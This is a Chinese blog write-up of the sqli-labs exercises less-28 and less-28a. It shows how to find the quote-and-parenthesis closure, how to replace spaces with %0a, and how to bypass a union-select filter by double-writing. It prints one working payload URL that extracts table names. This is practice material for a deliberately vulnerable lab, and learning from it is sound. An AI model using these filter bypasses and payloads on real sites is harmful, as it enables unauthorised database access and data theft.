sqlilabs less-28~less-28a

less-28

前期判断

首先能看到这次的union和select相比less-27来说周围加了单引号。
在这里插入图片描述
输入单引号,会没有返回,怀疑是单引号注入。在这里插入图片描述
在这里插入图片描述
虽然能成功闭合,先来构造一下sql语句

  • 第一种情况:

    • select * from table where id = '';
    • select * from table where id = ’ 1' and '1' = '1 ';
  • 第二种情况:

    • select * from table where id = (‘’);
    • select * from table where id = (’ 1' and '1' = '1 ');

可以看到两种情况都能顺利闭合,所以优先判断情况二。
加了括号的时候也能闭合说明是第二种情况,因为第一种情况少了两个括号会报错。
在这里插入图片描述
所以注入类型是英文单引号加上英文圆括号(''),而且还过滤掉了空格,使用%0a来替换空格。

经过测试发现单独输入select和union时候,不会被ban掉。
在这里插入图片描述
一旦构造为union select就会被ban掉

在这里插入图片描述

注入时间

这就好办了,可以选择双写绕过。(Union%0Aseunion%0Aselectlect)

在这里插入图片描述
因为它不会返回报错,所以只能用if判断了。

id=1%27)Union%0Aseunion%0Aselectlect%0A1,2,substr(group_concat(table_name),1,1)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand%0A%271%27=(%271

在这里插入图片描述
随便写个脚本就能解决了。
在这里插入图片描述

less-28a

在这里插入图片描述
less-28a应该没有过滤替换注释。

才发现less-28是基于错误的注入,但是我的28出了点问题,和28a一模一样,都是盲注。
用less-28的脚本就能完成了。
在这里插入图片描述
去看看less-28的源码,奇怪明明是基于错误的注入,为什么报错还被注释了。
在这里插入图片描述
再看看less-28a的
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值